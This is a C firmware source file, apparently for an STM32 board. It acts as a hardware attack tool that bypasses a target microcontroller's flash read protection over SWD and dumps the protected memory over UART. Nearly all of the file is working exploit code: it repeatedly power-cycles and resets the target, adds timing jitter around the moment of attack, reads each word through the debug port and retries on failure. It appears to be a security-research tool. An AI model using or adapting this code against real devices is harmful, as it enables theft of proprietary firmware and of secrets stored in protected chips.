123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282 |
- /*
- * This Source Code Form is subject to the terms of the MIT License.
- * If a copy of the MIT License was not distributed with this file,
- * you can obtain one at https://opensource.org/licenses/MIT
- */
- #include <stdint.h>
- #include <string.h>
- #include "main.h"
- #include "system.h"
- #include "swd.h"
- #include "target.h"
- #include "uart.h"
- static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data );
- static extractionStatistics_t extractionStatistics = {0u};
- static uartControl_t uartControl = {0u};
- /* Reads one 32-bit word from read-protection Flash memory.
- Address must be 32-bit aligned */
- static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data )
- {
- swdStatus_t dbgStatus = swdStatusNone;
- /* Add some jitter on the moment of attack (may increase attack effectiveness) */
- static uint16_t delayJitter = DELAY_JITTER_MS_MIN;
- uint32_t extractedData = 0u;
- uint32_t idCode = 0u;
- /* Limit the maximum number of attempts PER WORD */
- uint32_t numReadAttempts = 0u;
- /* try up to MAX_READ_TRIES times until we have the data */
- do
- {
- LED_BSRR |= (1 << (GREEN_LED_PIN + 16)); /* off */
- targetSysOn();
- waitms(5u);
- dbgStatus = swdInit( &idCode );
- if (likely(dbgStatus == swdStatusOk))
- {
- dbgStatus = swdEnableDebugIF();
- }
- if (likely(dbgStatus == swdStatusOk))
- {
- dbgStatus = swdSetAP32BitMode( NULL );
- }
- if (likely(dbgStatus == swdStatusOk))
- {
- dbgStatus = swdSelectAHBAP();
- }
- if (likely(dbgStatus == swdStatusOk))
- {
- targetSysUnReset();
- waitms(delayJitter);
- /* The magic happens here! */
- dbgStatus = swdReadAHBAddr( (address & 0xFFFFFFFCu), &extractedData );
- }
- targetSysReset();
- ++(extractionStatistics.numAttempts);
- /* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */
- if (dbgStatus == swdStatusOk)
- {
- *data = extractedData;
- ++(extractionStatistics.numSuccess);
- LED_BSRR |= (1 << (GREEN_LED_PIN)); /* on */
- }
- else
- {
- ++(extractionStatistics.numFailure);
- ++numReadAttempts;
- delayJitter += DELAY_JITTER_MS_INCREMENT;
- if (delayJitter >= DELAY_JITTER_MS_MAX)
- {
- delayJitter = DELAY_JITTER_MS_MIN;
- }
- }
- targetSysOff();
- waitms(1u);
- }
- while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS)));
- return dbgStatus;
- }
- void printExtractionStatistics( void )
- {
- uartSendStr("Statistics: \r\n");
- uartSendStr("Attempts: 0x");
- uartSendWordHexBE(extractionStatistics.numAttempts);
- uartSendStr("\r\n");
- uartSendStr("Success: 0x");
- uartSendWordHexBE(extractionStatistics.numSuccess);
- uartSendStr("\r\n");
- uartSendStr("Failure: 0x");
- uartSendWordHexBE(extractionStatistics.numFailure);
- uartSendStr("\r\n");
- }
- int main()
- {
- uint32_t reg;
- /* Enable all GPIO clocks */
- AHB1_CLOCK_ER |= (GPIOA_AHB1_CLOCK_ER | GPIOB_AHB1_CLOCK_ER | GPIOC_AHB1_CLOCK_ER | GPIOD_AHB1_CLOCK_ER | GPIOE_AHB1_CLOCK_ER | GPIOF_AHB1_CLOCK_ER);
- /* Leds */
- #ifdef CUSTOM_HW
- reg = GPIOE_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
- GPIOE_MODE = reg | (1 << (BLUE_LED_PIN * 2));
- reg = GPIOE_PUPD & (0x03 << (BLUE_LED_PIN * 2));
- GPIOE_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
- GPIOD_MODE &= ~(0x03 << (BUTTON_PIN * 2));
- #else
- reg = GPIOD_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
- GPIOD_MODE = reg | (1 << (BLUE_LED_PIN * 2));
- reg = GPIOD_PUPD & (0x03 << (BLUE_LED_PIN * 2));
- GPIOD_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
-
- reg = GPIOD_MODE & ~ (0x03 << (RED_LED_PIN * 2));
- GPIOD_MODE = reg | (1 << (RED_LED_PIN * 2));
- reg = GPIOD_PUPD & (0x03 << (RED_LED_PIN * 2));
- GPIOD_PUPD = reg | (0x02 << (RED_LED_PIN * 2));
-
- reg = GPIOD_MODE & ~ (0x03 << (GREEN_LED_PIN * 2));
- GPIOD_MODE = reg | (1 << (GREEN_LED_PIN * 2));
- reg = GPIOD_PUPD & (0x03 << (GREEN_LED_PIN * 2));
- GPIOD_PUPD = reg | (0x02 << (GREEN_LED_PIN * 2));
- /* button */
- GPIOA_MODE &= ~ (0x03 << (BUTTON_PIN * 2));
- #endif
-
- /* target (swd) */
- reg = GPIOA_MODE & ~ (0x03 << (PIN_SWCLK * 2));
- GPIOA_MODE = reg | (1 << (PIN_SWCLK * 2));
- reg = GPIOA_PUPD & (0x03 << (PIN_SWCLK * 2));
- GPIOA_PUPD = reg | (0x02 << (PIN_SWCLK * 2));
- reg = GPIOA_OSPD & (0x03 << (PIN_SWCLK * 2));
- GPIOA_OSPD = reg | (0x03 << (PIN_SWCLK * 2));
-
- reg = GPIOA_MODE & ~ (0x03 << (PIN_SWDIO * 2));
- GPIOA_MODE = reg | (1 << (PIN_SWDIO * 2));
- reg = GPIOA_PUPD & (0x03 << (PIN_SWDIO * 2));
- GPIOA_PUPD = reg | (0x01 << (PIN_SWDIO * 2));
- reg = GPIOA_OSPD & (0x03 << (PIN_SWDIO * 2));
- GPIOA_OSPD = reg | (0x03 << (PIN_SWDIO * 2));
- /* target (ctrl) */
- reg = GPIOA_MODE & ~ (0x03 << (PIN_POWER * 2));
- GPIOA_MODE = reg | (1 << (PIN_POWER * 2));
- reg = GPIOA_PUPD & (0x03 << (PIN_POWER * 2));
- GPIOA_PUPD = reg | (0x02 << (PIN_POWER * 2));
- reg = GPIOA_OSPD & (0x03 << (PIN_POWER * 2));
- GPIOA_OSPD = reg | (0x03 << (PIN_POWER * 2));
-
- reg = GPIOA_MODE & ~ (0x03 << (PIN_RESET * 2));
- GPIOA_MODE = reg | (1 << (PIN_RESET * 2));
- reg = GPIOA_PUPD & (0x03 << (PIN_RESET * 2));
- GPIOA_PUPD = reg | (0x02 << (PIN_RESET * 2));
- reg = GPIOA_OSPD & (0x03 << (PIN_RESET * 2));
- GPIOA_OSPD = reg | (0x03 << (PIN_RESET * 2));
-
- clock_pll_on(0);
- systick_on();
- uartInit();
- LED_BSRR |= (1 << BLUE_LED_PIN) | (1 << GREEN_LED_PIN);
- uartControl.transmitHex = 0u;
- uartControl.transmitLittleEndian = 1u;
- uartControl.readoutAddress = 0x00000000u;
- uartControl.readoutLen = (64u * 1024u);
- uartControl.active = 0u;
- uint32_t readoutInd = 0u;
- uint32_t flashData = 0xFFFFFFFFu;
- uint32_t btnActive = 0u;
- uint32_t once = 0u;
- uint32_t waitcycles = 0u;
- swdStatus_t status = swdStatusOk;
- while (1u)
- {
- uartReceiveCommands( &uartControl );
- /* Start as soon as the button B1 has been pushed */
- if (!(BUTTON_IDR & (1 << BUTTON_PIN)))
- btnActive = 1u;
- if (uartControl.active || btnActive)
- {
- /* reset statistics on extraction start */
- if (!once)
- {
- once = 1u;
- extractionStatistics.numAttempts = 0u;
- extractionStatistics.numSuccess = 0u;
- extractionStatistics.numFailure = 0u;
- }
- status = extractFlashData((uartControl.readoutAddress + readoutInd), &flashData);
- if (status == swdStatusOk)
- {
- if (!(uartControl.transmitHex))
- {
- uartSendWordBin( flashData, &uartControl );
- }
- else
- {
- uartSendWordHex( flashData, &uartControl );
- uartSendStr(" ");
- }
- readoutInd += 4u;
- }
- else
- {
- if (uartControl.transmitHex)
- {
- uartSendStr("\r\n!ExtractionFailure");
- uartSendWordHexBE( status );
- }
- }
- if ((readoutInd >= uartControl.readoutLen) || (status != swdStatusOk))
- {
- btnActive = 0u;
- uartControl.active = 0u;
- readoutInd = 0u;
- once = 0u;
- /* Print EOF in HEX mode */
- if (uartControl.transmitHex != 0u)
- {
- uartSendStr("\r\n");
- }
- }
- } else { /* Idle */
- if (waitcycles++ == 2000000) {
- LED_BSRR |= (1 << BLUE_LED_PIN);
- waitcycles = 0;
- }
- if (waitcycles == 1000000) {
- LED_BSRR |= (1 << (BLUE_LED_PIN + 16));
- }
-
- }
- }
- return 0u;
- }
|